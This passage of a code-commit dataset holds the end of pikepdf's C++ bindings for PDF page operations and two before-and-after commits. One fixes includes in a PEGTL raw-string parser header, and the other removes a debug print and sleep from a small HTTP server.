py::arg(\"shallow\")  = false,\n            R\"~~~(\n                Convert inlines image to normal (external) images.\n\n                Args:\n                    min_size (int): minimum size in bytes\n                    shallow (bool): If False, recurse into nested Form XObjects.\n                        If True, do not recurse.\n            )~~~\")\n        .def(\"rotate\",\n            &QPDFPageObjectHelper::rotatePage,\n            py::arg(\"angle\"),\n            py::arg(\"relative\"),\n            R\"~~~(\n                Rotate a page.\n\n                If ``relative`` is ``False``, set the rotation of the\n                page to angle. Otherwise, add angle to the rotation of the\n                page. ``angle`` must be a multiple of ``90``. Adding ``90`` to\n                the rotation rotates clockwise by ``90`` degrees.\n            )~~~\")\n        .def(\"contents_coalesce\",\n            &QPDFPageObjectHelper::coalesceContentStreams,\n            R\"~~~(\n                Coalesce a page's content streams.\n\n                A page's content may be a\n                stream or an array of streams. If this page's content is an\n                array, concatenate the streams into a single stream. This can\n                be useful when working with files that split content streams in\n                arbitrary spots, such as in the middle of a token, as that can\n                confuse some software.\n            )~~~\")\n        .def(\n            \"_contents_add\",\n            [](QPDFPageObjectHelper &poh, QPDFObjectHandle &contents, bool prepend) {\n                return poh.addPageContents(contents, prepend);\n            },\n            py::arg(\"contents\"),\n            py::kw_only(),\n            py::arg(\"prepend\") = false)\n        .def(\n            \"_contents_add\",\n            [](QPDFPageObjectHelper &poh, py::bytes contents, bool prepend) {\n                auto q = poh.getObjectHandle().getOwningQPDF();\n                if (!q) {\n                    \/\/ LCOV_EXCL_START\n                    throw std::logic_error(\"QPDFPageObjectHelper not attached to QPDF\");\n                    \/\/ LCOV_EXCL_STOP\n                }\n                auto stream = QPDFObjectHandle::newStream(q, contents);\n                return poh.addPageContents(stream, prepend);\n            },\n            py::arg(\"contents\"),\n            py::kw_only(),\n            py::arg(\"prepend\") = false)\n        .def(\"remove_unreferenced_resources\",\n            &QPDFPageObjectHelper::removeUnreferencedResources,\n            R\"~~~(\n                Removes from the resources dictionary any object not referenced in the content stream.\n\n                A page's resources dictionary maps names to objects elsewhere\n                in the file. This method walks through a page's contents and\n                keeps tracks of which resources are referenced somewhere in the\n                contents. Then it removes from the resources dictionary any\n                object that is not referenced in the contents. This\n                method is used by page splitting code to avoid copying unused\n                objects in files that used shared resource dictionaries across\n                multiple pages.\n            )~~~\")\n        .def(\"as_form_xobject\",\n            &QPDFPageObjectHelper::getFormXObjectForPage,\n            py::arg(\"handle_transformations\") = true,\n            R\"~~~(\n                Return a form XObject that draws this page.\n\n                This is useful for\n                n-up operations, underlay, overlay, thumbnail generation, or\n                any other case in which it is useful to replicate the contents\n                of a page in some other context. The dictionaries are shallow\n                copies of the original page dictionary, and the contents are\n                coalesced from the page's contents. The resulting object handle\n                is not referenced anywhere.\n\n                Args:\n                    handle_transformations (bool): If True, the resulting form\n                        XObject's ``\/Matrix`` will be set to replicate rotation\n                        (``\/Rotate``) and scaling (``\/UserUnit``) in the page's\n                        dictionary. In this way, the page's transformations will\n                        be preserved when placing this object on another page.\n            )~~~\")\n        .def(\n            \"calc_form_xobject_placement\",\n            [](QPDFPageObjectHelper &poh,\n                QPDFObjectHandle formx,\n                QPDFObjectHandle name,\n                QPDFObjectHandle::Rectangle rect,\n                bool invert_transformations,\n                bool allow_shrink,\n                bool allow_expand) -> py::bytes {\n                return py::bytes(poh.placeFormXObject(formx,\n                    name.getName(),\n                    rect,\n                    invert_transformations,\n                    allow_shrink,\n                    allow_expand));\n            },\n            py::arg(\"formx\"),\n            py::arg(\"name\"),\n            py::arg(\"rect\"),\n            py::kw_only(),\n            py::arg(\"invert_transformations\") = true,\n            py::arg(\"allow_shrink\")           = true,\n            py::arg(\"allow_expand\")           = false,\n            R\"~~~(\n                Generate content stream segment to place a Form XObject on this page.\n\n                The content stream segment must be then be added to the page's\n                content stream.\n\n                The default keyword parameters will preserve the aspect ratio.\n\n                Args:\n                    formx: The Form XObject to place.\n                    name: The name of the Form XObject in this page's \/Resources\n                        dictionary.\n                    rect: Rectangle describing the desired placement of the Form\n                        XObject.\n                    invert_transformations: Apply \/Rotate and \/UserUnit scaling\n                        when determining FormX Object placement.\n                    allow_shrink: Allow the Form XObject to take less than the\n                        full dimensions of rect.\n                    allow_expand: Expand the Form XObject to occupy all of rect.\n\n                .. versionadded:: 2.14\n            )~~~\")\n        .def(\n            \"get_filtered_contents\",\n            [](QPDFPageObjectHelper &poh,\n                QPDFObjectHandle::TokenFilter &tf) -> py::bytes {\n                Pl_Buffer pl_buffer(\"filter_page\");\n                poh.filterContents(&tf, &pl_buffer);\n\n                PointerHolder<Buffer> buf(pl_buffer.getBuffer());\n                auto data = reinterpret_cast<const char *>(buf->getBuffer());\n                auto size = buf->getSize();\n                return py::bytes(data, size);\n            },\n            py::arg(\"tf\"),\n            R\"~~~(\n                Apply a :class:`pikepdf.TokenFilter` to a content stream, without modifying it.\n\n                This may be used when the results of a token filter do not need\n                to be applied, such as when filtering is being used to retrieve\n                information rather than edit the content stream.\n\n                Note that it is possible to create a subclassed ``TokenFilter``\n                that saves information of interest to its object attributes; it\n                is not necessary to return data in the content stream.\n\n                To modify the content stream, use :meth:`pikepdf.Page.add_content_token_filter`.\n\n                Returns:\n                    The modified content stream.\n            )~~~\")\n        .def(\n            \"add_content_token_filter\",\n            [](QPDFPageObjectHelper &poh,\n                PointerHolder<QPDFObjectHandle::TokenFilter> tf) {\n                \/\/ TokenFilters may be processed after the Python objects have gone\n                \/\/ out of scope, so we need to keep them alive by attaching them to\n                \/\/ the corresponding QPDF object.\n                auto pyqpdf = py::cast(poh.getObjectHandle().getOwningQPDF());\n                auto pytf   = py::cast(tf);\n                py::detail::keep_alive_impl(pyqpdf, pytf);\n\n                poh.addContentTokenFilter(tf);\n            },\n            py::arg(\"tf\"),\n            R\"~~~(\n                Attach a :class:`pikepdf.TokenFilter` to a page's content stream.\n\n                This function applies token filters lazily, if\/when the page's\n                content stream is read for any reason, such as when the PDF is\n                saved. If never access, the token filter is not applied.\n\n                Multiple token filters may be added to a page\/content stream.\n\n                Token filters may not be removed after being attached to a Pdf.\n                Close and reopen the Pdf to remove token filters.\n\n                If the page's contents is an array of streams, it is coalesced.\n            )~~~\")\n        .def(\n            \"parse_contents\",\n            [](QPDFPageObjectHelper &poh, PyParserCallbacks &parsercallbacks) {\n                poh.parseContents(&parsercallbacks);\n            },\n            R\"~~~(\n                Parse a page's content streams using a :class:`pikepdf.StreamParser`.\n\n                The content stream may be interpreted by the StreamParser but is\n                not altered.\n\n                If the page's contents is an array of streams, it is coalesced.\n            )~~~\")\n        .def_property_readonly(\n            \"index\",\n            [](QPDFPageObjectHelper &poh) {\n                auto this_page = poh.getObjectHandle();\n                auto p_owner   = this_page.getOwningQPDF();\n                if (!p_owner)\n                    throw py::value_error(\"Page is not attached to a Pdf\");\n                auto &owner = *p_owner;\n                return page_index(owner, this_page);\n            },\n            R\"~~~(\n                Returns the zero-based index of this page in the pages list.\n\n                That is, returns ``n`` such that ``pdf.pages[n] == this_page``.\n                A ``ValueError`` exception is thrown if the page is not attached\n                to this ``Pdf``.\n\n                .. versionadded:: 2.2\n            )~~~\")\n        .def_property_readonly(\n            \"label\",\n            [](QPDFPageObjectHelper &poh) {\n                auto this_page = poh.getObjectHandle();\n                auto p_owner   = this_page.getOwningQPDF();\n                if (!p_owner)\n                    throw py::value_error(\"Page is not attached to a Pdf\");\n                auto &owner = *p_owner;\n                auto index  = page_index(owner, this_page);\n\n                QPDFPageLabelDocumentHelper pldh(owner);\n                auto label_dict = pldh.getLabelForPage(index);\n                if (label_dict.isNull())\n                    return std::to_string(index + 1);\n\n                return label_string_from_dict(label_dict);\n            },\n            R\"~~~(\n                Returns the page label for this page, accounting for section numbers.\n\n                For example, if the PDF defines a preface with lower case Roman\n                numerals (i, ii, iii...), followed by standard numbers, followed\n                by an appendix (A-1, A-2, ...), this function returns the appropriate\n                label as a string.\n\n                It is possible for a PDF to define page labels such that multiple\n                pages have the same labels. Labels are not guaranteed to\n                be unique.\n\n                .. versionadded:: 2.2\n\n                .. versionchanged:: 2.9\n                    Returns the ordinary page number if no special rules for page\n                    numbers are defined.\n            )~~~\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2014-2017 Dr. Colin Hirsch and Daniel Frey\n\/\/ Please see LICENSE for license or visit https:\/\/github.com\/taocpp\/PEGTL\/\n\n#ifndef TAOCPP_PEGTL_INCLUDE_CONTRIB_RAW_STRING_HPP\n#define TAOCPP_PEGTL_INCLUDE_CONTRIB_RAW_STRING_HPP\n\n#include \"..\/apply_mode.hpp\"\n#include \"..\/config.hpp\"\n#include \"..\/nothing.hpp\"\n#include \"..\/rewind_mode.hpp\"\n\n#include \"..\/internal\/must.hpp\"\n#include \"..\/internal\/skip_control.hpp\"\n#include \"..\/internal\/until.hpp\"\n\n#include \"..\/analysis\/generic.hpp\"\n\nnamespace tao\n{\n   namespace TAOCPP_PEGTL_NAMESPACE\n   {\n      namespace internal\n      {\n         struct raw_string_state\n         {\n            template< typename Input, typename... States >\n            raw_string_state( const Input&, States&&... )\n            {\n            }\n\n            template< apply_mode A,\n                      rewind_mode,\n                      template< typename... > class Action,\n                      template< typename... > class Control,\n                      typename Input,\n                      typename... States >\n            void success( Input& in, States&&... ) const\n            {\n               in.bump_in_this_line( marker_size );\n            }\n\n            raw_string_state( const raw_string_state& ) = delete;\n            void operator=( const raw_string_state& ) = delete;\n\n            std::size_t marker_size = 0;\n         };\n\n         template< char Open, char Marker >\n         struct raw_string_open\n         {\n            using analyze_t = analysis::generic< analysis::rule_type::ANY >;\n\n            template< apply_mode A,\n                      rewind_mode,\n                      template< typename... > class Action,\n                      template< typename... > class Control,\n                      typename Input,\n                      typename State >\n            static bool match( Input& in, State& ls )\n            {\n               if( in.empty() || ( in.peek_char( 0 ) != Open ) ) {\n                  return false;\n               }\n               for( std::size_t i = 1; i < in.size( i + 1 ); ++i ) {\n                  switch( const auto c = in.peek_char( i ) ) {\n                     case Open:\n                        ls.marker_size = i + 1;\n                        in.bump( ls.marker_size );\n                        eol::match( in );\n                        return true;\n                     case Marker:\n                        break;\n                     default:\n                        return false;\n                  }\n               }\n               return false;\n            }\n         };\n\n         template< char Open, char Marker >\n         struct skip_control< raw_string_open< Open, Marker > > : std::true_type\n         {\n         };\n\n         template< char Marker, char Close >\n         struct at_raw_string_close\n         {\n            using analyze_t = analysis::generic< analysis::rule_type::ANY >;\n\n            template< apply_mode A,\n                      rewind_mode,\n                      template< typename... > class Action,\n                      template< typename... > class Control,\n                      typename Input,\n                      typename State >\n            static bool match( Input& in, const State& ls )\n            {\n               if( in.size( ls.marker_size ) < ls.marker_size ) {\n                  return false;\n               }\n               if( in.peek_char( 0 ) != Close ) {\n                  return false;\n               }\n               if( in.peek_char( ls.marker_size - 1 ) != Close ) {\n                  return false;\n               }\n               for( std::size_t i = 0; i < ls.marker_size - 2; ++i ) {\n                  if( in.peek_char( i + 1 ) != Marker ) {\n                     return false;\n                  }\n               }\n               return true;\n            }\n         };\n\n         template< char Marker, char Close >\n         struct skip_control< at_raw_string_close< Marker, Close > > : std::true_type\n         {\n         };\n\n      }  \/\/ namespace internal\n\n      \/\/ raw_string matches Lua-style long literals.\n      \/\/\n      \/\/ The following description was taken from the Lua documentation\n      \/\/ (see http:\/\/www.lua.org\/docs.html):\n      \/\/\n      \/\/ - An \"opening long bracket of level n\" is defined as an opening square\n      \/\/   bracket followed by n equal signs followed by another opening square\n      \/\/   bracket. So, an opening long bracket of level 0 is written as `[[`,\n      \/\/   an opening long bracket of level 1 is written as `[=[`, and so on.\n      \/\/ - A \"closing long bracket\" is defined similarly; for instance, a closing\n      \/\/   long bracket of level 4 is written as `]====]`.\n      \/\/ - A \"long literal\" starts with an opening long bracket of any level and\n      \/\/   ends at the first closing long bracket of the same level. It can\n      \/\/   contain any text except a closing bracket of the same level.\n      \/\/ - Literals in this bracketed form can run for several lines, do not\n      \/\/   interpret any escape sequences, and ignore long brackets of any other\n      \/\/   level.\n      \/\/ - For convenience, when the opening long bracket is immediately followed\n      \/\/   by a newline, the newline is not included in the string.\n      \/\/\n      \/\/ Note that unlike Lua's long literal, a raw_string is customizable to use\n      \/\/ other characters than `[`, `=` and `]` for matching. Also note that Lua\n      \/\/ introduced newline-specific replacements in Lua 5.2, which we do not\n      \/\/ support on the grammar level.\n\n      template< char Open, char Marker, char Close, typename... Contents >\n      struct raw_string\n      {\n         \/\/ This is used internally.\n         using open = internal::raw_string_open< Open, Marker >;\n\n         \/\/ This is used for binding the apply()-method and for error-reporting when a raw string is not closed properly.\n         struct content : internal::until< internal::at_raw_string_close< Marker, Close >, Contents... >\n         {\n         };\n\n         using analyze_t = analysis::generic< analysis::rule_type::SEQ, open, internal::must< content > >;\n\n         template< apply_mode A,\n                   rewind_mode M,\n                   template< typename... > class Action,\n                   template< typename... > class Control,\n                   typename Input,\n                   typename... States >\n         static bool match( Input& in, States&&... st )\n         {\n            internal::raw_string_state s( const_cast< const Input& >( in ), st... );\n\n            if( Control< internal::seq< open, internal::must< content > > >::template match< A, M, Action, Control >( in, s ) ) {\n               s.template success< A, M, Action, Control >( in, st... );\n               return true;\n            }\n            return false;\n         }\n      };\n\n   }  \/\/ namespace TAOCPP_PEGTL_NAMESPACE\n\n}  \/\/ namespace tao\n\n#endif\n<commit_msg>Fix includes<commit_after>\/\/ Copyright (c) 2014-2017 Dr. Colin Hirsch and Daniel Frey\n\/\/ Please see LICENSE for license or visit https:\/\/github.com\/taocpp\/PEGTL\/\n\n#ifndef TAOCPP_PEGTL_INCLUDE_CONTRIB_RAW_STRING_HPP\n#define TAOCPP_PEGTL_INCLUDE_CONTRIB_RAW_STRING_HPP\n\n#include \"..\/apply_mode.hpp\"\n#include \"..\/config.hpp\"\n#include \"..\/rewind_mode.hpp\"\n\n#include \"..\/internal\/must.hpp\"\n#include \"..\/internal\/seq.hpp\"\n#include \"..\/internal\/skip_control.hpp\"\n#include \"..\/internal\/until.hpp\"\n\n#include \"..\/analysis\/generic.hpp\"\n\nnamespace tao\n{\n   namespace TAOCPP_PEGTL_NAMESPACE\n   {\n      namespace internal\n      {\n         struct raw_string_state\n         {\n            template< typename Input, typename... States >\n            raw_string_state( const Input&, States&&... )\n            {\n            }\n\n            template< apply_mode A,\n                      rewind_mode,\n                      template< typename... > class Action,\n                      template< typename... > class Control,\n                      typename Input,\n                      typename... States >\n            void success( Input& in, States&&... ) const\n            {\n               in.bump_in_this_line( marker_size );\n            }\n\n            raw_string_state( const raw_string_state& ) = delete;\n            void operator=( const raw_string_state& ) = delete;\n\n            std::size_t marker_size = 0;\n         };\n\n         template< char Open, char Marker >\n         struct raw_string_open\n         {\n            using analyze_t = analysis::generic< analysis::rule_type::ANY >;\n\n            template< apply_mode A,\n                      rewind_mode,\n                      template< typename... > class Action,\n                      template< typename... > class Control,\n                      typename Input,\n                      typename State >\n            static bool match( Input& in, State& ls )\n            {\n               if( in.empty() || ( in.peek_char( 0 ) != Open ) ) {\n                  return false;\n               }\n               for( std::size_t i = 1; i < in.size( i + 1 ); ++i ) {\n                  switch( const auto c = in.peek_char( i ) ) {\n                     case Open:\n                        ls.marker_size = i + 1;\n                        in.bump( ls.marker_size );\n                        eol::match( in );\n                        return true;\n                     case Marker:\n                        break;\n                     default:\n                        return false;\n                  }\n               }\n               return false;\n            }\n         };\n\n         template< char Open, char Marker >\n         struct skip_control< raw_string_open< Open, Marker > > : std::true_type\n         {\n         };\n\n         template< char Marker, char Close >\n         struct at_raw_string_close\n         {\n            using analyze_t = analysis::generic< analysis::rule_type::ANY >;\n\n            template< apply_mode A,\n                      rewind_mode,\n                      template< typename... > class Action,\n                      template< typename... > class Control,\n                      typename Input,\n                      typename State >\n            static bool match( Input& in, const State& ls )\n            {\n               if( in.size( ls.marker_size ) < ls.marker_size ) {\n                  return false;\n               }\n               if( in.peek_char( 0 ) != Close ) {\n                  return false;\n               }\n               if( in.peek_char( ls.marker_size - 1 ) != Close ) {\n                  return false;\n               }\n               for( std::size_t i = 0; i < ls.marker_size - 2; ++i ) {\n                  if( in.peek_char( i + 1 ) != Marker ) {\n                     return false;\n                  }\n               }\n               return true;\n            }\n         };\n\n         template< char Marker, char Close >\n         struct skip_control< at_raw_string_close< Marker, Close > > : std::true_type\n         {\n         };\n\n      }  \/\/ namespace internal\n\n      \/\/ raw_string matches Lua-style long literals.\n      \/\/\n      \/\/ The following description was taken from the Lua documentation\n      \/\/ (see http:\/\/www.lua.org\/docs.html):\n      \/\/\n      \/\/ - An \"opening long bracket of level n\" is defined as an opening square\n      \/\/   bracket followed by n equal signs followed by another opening square\n      \/\/   bracket. So, an opening long bracket of level 0 is written as `[[`,\n      \/\/   an opening long bracket of level 1 is written as `[=[`, and so on.\n      \/\/ - A \"closing long bracket\" is defined similarly; for instance, a closing\n      \/\/   long bracket of level 4 is written as `]====]`.\n      \/\/ - A \"long literal\" starts with an opening long bracket of any level and\n      \/\/   ends at the first closing long bracket of the same level. It can\n      \/\/   contain any text except a closing bracket of the same level.\n      \/\/ - Literals in this bracketed form can run for several lines, do not\n      \/\/   interpret any escape sequences, and ignore long brackets of any other\n      \/\/   level.\n      \/\/ - For convenience, when the opening long bracket is immediately followed\n      \/\/   by a newline, the newline is not included in the string.\n      \/\/\n      \/\/ Note that unlike Lua's long literal, a raw_string is customizable to use\n      \/\/ other characters than `[`, `=` and `]` for matching. Also note that Lua\n      \/\/ introduced newline-specific replacements in Lua 5.2, which we do not\n      \/\/ support on the grammar level.\n\n      template< char Open, char Marker, char Close, typename... Contents >\n      struct raw_string\n      {\n         \/\/ This is used internally.\n         using open = internal::raw_string_open< Open, Marker >;\n\n         \/\/ This is used for binding the apply()-method and for error-reporting when a raw string is not closed properly.\n         struct content : internal::until< internal::at_raw_string_close< Marker, Close >, Contents... >\n         {\n         };\n\n         using analyze_t = analysis::generic< analysis::rule_type::SEQ, open, internal::must< content > >;\n\n         template< apply_mode A,\n                   rewind_mode M,\n                   template< typename... > class Action,\n                   template< typename... > class Control,\n                   typename Input,\n                   typename... States >\n         static bool match( Input& in, States&&... st )\n         {\n            internal::raw_string_state s( const_cast< const Input& >( in ), st... );\n\n            if( Control< internal::seq< open, internal::must< content > > >::template match< A, M, Action, Control >( in, s ) ) {\n               s.template success< A, M, Action, Control >( in, st... );\n               return true;\n            }\n            return false;\n         }\n      };\n\n   }  \/\/ namespace TAOCPP_PEGTL_NAMESPACE\n\n}  \/\/ namespace tao\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"HttpSrv.h\"\n#include \"..\/..\/common\/string_utils.h\"\n\nHttpSrv::ResponseInfo::ResponseInfo(const std::string &_content_type,\n\t\t\t\t\tconst std::string &_server_name):\n\t\tcontent_type(_content_type),\n\t\tserver_name(_server_name)\n{\n}\n\nHttpSrv::Request::Request(const std::string &_url)\n{\n\tparseGET(_url, values_GET);\n}\n\nHttpSrv::Connection::Connection(int sock, ResponseInfoPtr resp_info):\n\t\tm_sock(sock),\n\t\talive(true),\n\t\tclosing(false),\n\t\tm_resp_info(resp_info)\n{\n}\n\nHttpSrv::Connection::~Connection()\n{\n\t\/\/std::cout << \"http connection closed\\n\";\n}\n\nbool HttpSrv::Connection::recv()\n{\n\tchar bf[100];\n\tint nread = ::recv(m_sock, bf, 100, MSG_DONTWAIT);\n\tif (nread>0) {\n\t\treadbf.append(bf);\n\t\treturn true;\n\t} else if (nread == 0) {\n\t\talive  = false;\n\t}\n\treturn false;\n}\n\nvoid HttpSrv::Connection::sendResponse(const std::string &_content)\n{\n\t\/\/Sat, 28 Dec 2013 18:33:30 GMT\n\tchar content_len_c[50];\n\tsprintf(content_len_c, \"%d\", _content.size());\n\tstd::string content_len(content_len_c);\n\t\n\tchar time_c[50];\n\tsprintf(time_c, \"%d\", time(0));\n\t\n\tstd::string response = \"HTTP\/1.1 200 OK\\r\\n\"\n\t\t\t\t\t\t\"Content-Type: \"+m_resp_info->content_type+\"\\r\\n\"\n\t\t\t\t\t\t\"Date: \"+time_c+\"\\r\\n\"\n\t\t\t\t\t\t\"Server: \"+m_resp_info->server_name+\"\\r\\n\"\n\t\t\t\t\t\t\"Connection: keep-alive\\r\\n\"\n\t\t\t\t\t\t\"Transfer-Encoding: none\\r\\n\"\n\t\t\t\t\t\t\"Content-Length: \"+content_len+\"\\n\\n\"+_content+\"\\r\\n\";\n\tstd::cout << \"SENDING \\n\";\n\tsleep(4);\n\tsize_t nsent = ::send(m_sock, response.c_str(), response.size(), MSG_DONTWAIT);\n\tif (nsent<=0)\n\t\tstd::cout << \"HttpSrv::Connection::sendResponse SEND ERROR!!_____________\"\n\t\t\t\t<< nsent << std::endl;\n}\n\n\/*\nvoid HttpSrv::Connection::send(const std::string &_mess)\n{\n\tsize_t nsent = ::send(m_sock, _mess.c_str(), _mess.size(), MSG_DONTWAIT);\n\tif (nsent<=0)\n\t\tstd::cout << \"SEND ERROR!!_____________\";\n}*\/\n\nvoid HttpSrv::Connection::close()\n{\n\tclosing = true;\n}\n\nvoid HttpSrv::Connection::parseRequests()\n{\n\tstd::vector<std::string> lines;\n\tif (readbf.size()==0)\n\t\treturn;\n\tint nextline_pos = readbf.find('\\n');\n\twhile (nextline_pos!=-1) {\n\t\tif (nextline_pos>1)\n\t\t\tlines.push_back(readbf.substr(0, nextline_pos));\n\t\treadbf = readbf.substr(nextline_pos+1, readbf.size()-nextline_pos-1);\n\t\tnextline_pos = readbf.find('\\n');\n\t}\n\tif (lines.size()==0)\n\t\treturn;\n\t\n\tfor (int i = 0; i<lines.size(); i++)\n\t\tif (lines[i].substr(0,3)==\"GET\")\n\t\t\trequests.push(RequestPtr(new Request(lines[i])));\n\n\tlines.clear();\n}\n\nHttpSrv::RequestPtr HttpSrv::Connection::getNextRequest()\n{\n\tRequestPtr req;\n\trecv();\n\tparseRequests();\n\t\n\tif (requests.size()==0) \n\t\treturn req;\n\treq = requests.front();\n\trequests.pop();\n\treturn req;\n}\n\nHttpSrv::HttpSrv(TaskLauncherPtr launcher,\n\t\t\tconst HttpSrv::ResponseInfo &resp_info,\n\t\t\tboost::function<void(HttpSrv::ConnectionPtr,\n\t\t\t\t\t\t\t\tHttpSrv::RequestPtr)> request_hdl):\n\t\tm_launcher(launcher),\n\t\tm_resp_info(new ResponseInfo(resp_info)),\n\t\tm_request_hdl(request_hdl)\n{\n\tm_poolserver.reset(new hPoolServer(launcher, \n\t\t\t\t\tboost::bind(&HttpSrv::handler, this, _1)));\n}\n\nHttpSrv::ConnectionPtr HttpSrv::getHttpConn(int socket)\n{\n\tConnectionPtr http_conn;\n\tstd::tr1::unordered_map<int, ConnectionPtr>::iterator it = \n\t\t\t\t\t\t\tconnections.find(socket); \n\tif (it==connections.end()) {\n\t\thttp_conn.reset(new Connection(socket, m_resp_info));\n\t\tconnections.insert(std::pair<int,ConnectionPtr>(socket, http_conn));\n\t\treturn http_conn;\n\t} else\n\t\treturn it->second;\n}\n\nvoid HttpSrv::closeHttpConn(int socket)\n{\n\tConnectionPtr http_conn;\n\tstd::tr1::unordered_map<int, ConnectionPtr>::iterator it = \n\t\t\t\t\t\t\tconnections.find(socket); \n\tif (it!=connections.end())\n\t\tconnections.erase(it);\n}\n\nvoid HttpSrv::handler(hPoolServer::ConnectionPtr pool_conn)\n{\n\tConnectionPtr http_conn = getHttpConn(pool_conn->m_sock);\n\t\n\tRequestPtr req = http_conn->getNextRequest();\n\n\tif (!http_conn->alive) {\n\t\tcloseHttpConn(pool_conn->m_sock);\n\t\tpool_conn->close();\n\t\treturn;\n\t}\n\n\tif (req) {\n\t\tm_request_hdl(http_conn, req);\n\t\tif (!http_conn->alive || http_conn->closing) {\n\t\t\tcloseHttpConn(pool_conn->m_sock);\n\t\t\tpool_conn->close();\n\t\t}\n\t}\n}\n\nvoid HttpSrv::start(int port)\n{\n\tm_poolserver->start(port);\n}\n<commit_msg>remove debug code<commit_after>#include \"HttpSrv.h\"\n#include \"..\/..\/common\/string_utils.h\"\n\nHttpSrv::ResponseInfo::ResponseInfo(const std::string &_content_type,\n\t\t\t\t\tconst std::string &_server_name):\n\t\tcontent_type(_content_type),\n\t\tserver_name(_server_name)\n{\n}\n\nHttpSrv::Request::Request(const std::string &_url)\n{\n\tparseGET(_url, values_GET);\n}\n\nHttpSrv::Connection::Connection(int sock, ResponseInfoPtr resp_info):\n\t\tm_sock(sock),\n\t\talive(true),\n\t\tclosing(false),\n\t\tm_resp_info(resp_info)\n{\n}\n\nHttpSrv::Connection::~Connection()\n{\n\t\/\/std::cout << \"http connection closed\\n\";\n}\n\nbool HttpSrv::Connection::recv()\n{\n\tchar bf[100];\n\tint nread = ::recv(m_sock, bf, 100, MSG_DONTWAIT);\n\tif (nread>0) {\n\t\treadbf.append(bf);\n\t\treturn true;\n\t} else if (nread == 0) {\n\t\talive  = false;\n\t}\n\treturn false;\n}\n\nvoid HttpSrv::Connection::sendResponse(const std::string &_content)\n{\n\t\/\/Sat, 28 Dec 2013 18:33:30 GMT\n\tchar content_len_c[50];\n\tsprintf(content_len_c, \"%d\", _content.size());\n\tstd::string content_len(content_len_c);\n\t\n\tchar time_c[50];\n\tsprintf(time_c, \"%d\", time(0));\n\t\n\tstd::string response = \"HTTP\/1.1 200 OK\\r\\n\"\n\t\t\t\t\t\t\"Content-Type: \"+m_resp_info->content_type+\"\\r\\n\"\n\t\t\t\t\t\t\"Date: \"+time_c+\"\\r\\n\"\n\t\t\t\t\t\t\"Server: \"+m_resp_info->server_name+\"\\r\\n\"\n\t\t\t\t\t\t\"Connection: keep-alive\\r\\n\"\n\t\t\t\t\t\t\"Transfer-Encoding: none\\r\\n\"\n\t\t\t\t\t\t\"Content-Length: \"+content_len+\"\\n\\n\"+_content+\"\\r\\n\";\n\tsize_t nsent = ::send(m_sock, response.c_str(), response.size(), MSG_DONTWAIT);\n\tif (nsent<=0)\n\t\tstd::cout << \"HttpSrv::Connection::sendResponse SEND ERROR!!_____________\"\n\t\t\t\t<< nsent << std::endl;\n}\n\n\/*\nvoid HttpSrv::Connection::send(const std::string &_mess)\n{\n\tsize_t nsent = ::send(m_sock, _mess.c_str(), _mess.size(), MSG_DONTWAIT);\n\tif (nsent<=0)\n\t\tstd::cout << \"SEND ERROR!!_____________\";\n}*\/\n\nvoid HttpSrv::Connection::close()\n{\n\tclosing = true;\n}\n\nvoid HttpSrv::Connection::parseRequests()\n{\n\tstd::vector<std::string> lines;\n\tif (readbf.size()==0)\n\t\treturn;\n\tint nextline_pos = readbf.find('\\n');\n\twhile (nextline_pos!=-1) {\n\t\tif (nextline_pos>1)\n\t\t\tlines.push_back(readbf.substr(0, nextline_pos));\n\t\treadbf = readbf.substr(nextline_pos+1, readbf.size()-nextline_pos-1);\n\t\tnextline_pos = readbf.find('\\n');\n\t}\n\tif (lines.size()==0)\n\t\treturn;\n\t\n\tfor (int i = 0; i<lines.size(); i++)\n\t\tif (lines[i].substr(0,3)==\"GET\")\n\t\t\trequests.push(RequestPtr(new Request(lines[i])));\n\n\tlines.clear();\n}\n\nHttpSrv::RequestPtr HttpSrv::Connection::getNextRequest()\n{\n\tRequestPtr req;\n\trecv();\n\tparseRequests();\n\t\n\tif (requests.size()==0) \n\t\treturn req;\n\treq = requests.front();\n\trequests.pop();\n\treturn req;\n}\n\nHttpSrv::HttpSrv(TaskLauncherPtr launcher,\n\t\t\tconst HttpSrv::ResponseInfo &resp_info,\n\t\t\tboost::function<void(HttpSrv::ConnectionPtr,\n\t\t\t\t\t\t\t\tHttpSrv::RequestPtr)> request_hdl):\n\t\tm_launcher(launcher),\n\t\tm_resp_info(new ResponseInfo(resp_info)),\n\t\tm_request_hdl(request_hdl)\n{\n\tm_poolserver.reset(new hPoolServer(launcher, \n\t\t\t\t\tboost::bind(&HttpSrv::handler, this, _1)));\n}\n\nHttpSrv::ConnectionPtr HttpSrv::getHttpConn(int socket)\n{\n\tConnectionPtr http_conn;\n\tstd::tr1::unordered_map<int, ConnectionPtr>::iterator it = \n\t\t\t\t\t\t\tconnections.find(socket); \n\tif (it==connections.end()) {\n\t\thttp_conn.reset(new Connection(socket, m_resp_info));\n\t\tconnections.insert(std::pair<int,ConnectionPtr>(socket, http_conn));\n\t\treturn http_conn;\n\t} else\n\t\treturn it->second;\n}\n\nvoid HttpSrv::closeHttpConn(int socket)\n{\n\tConnectionPtr http_conn;\n\tstd::tr1::unordered_map<int, ConnectionPtr>::iterator it = \n\t\t\t\t\t\t\tconnections.find(socket); \n\tif (it!=connections.end())\n\t\tconnections.erase(it);\n}\n\nvoid HttpSrv::handler(hPoolServer::ConnectionPtr pool_conn)\n{\n\tConnectionPtr http_conn = getHttpConn(pool_conn->m_sock);\n\t\n\tRequestPtr req = http_conn->getNextRequest();\n\n\tif (!http_conn->alive) {\n\t\tcloseHttpConn(pool_conn->m_sock);\n\t\tpool_conn->close();\n\t\treturn;\n\t}\n\n\tif (req) {\n\t\tm_request_hdl(http_conn, req);\n\t\tif (!http_conn->alive || http_conn->closing) {\n\t\t\tcloseHttpConn(pool_conn->m_sock);\n\t\t\tpool_conn->close();\n\t\t}\n\t}\n}\n\nvoid HttpSrv::start(int port)\n{\n\tm_poolserver->start(port);\n}\n<|endoftext|>"}
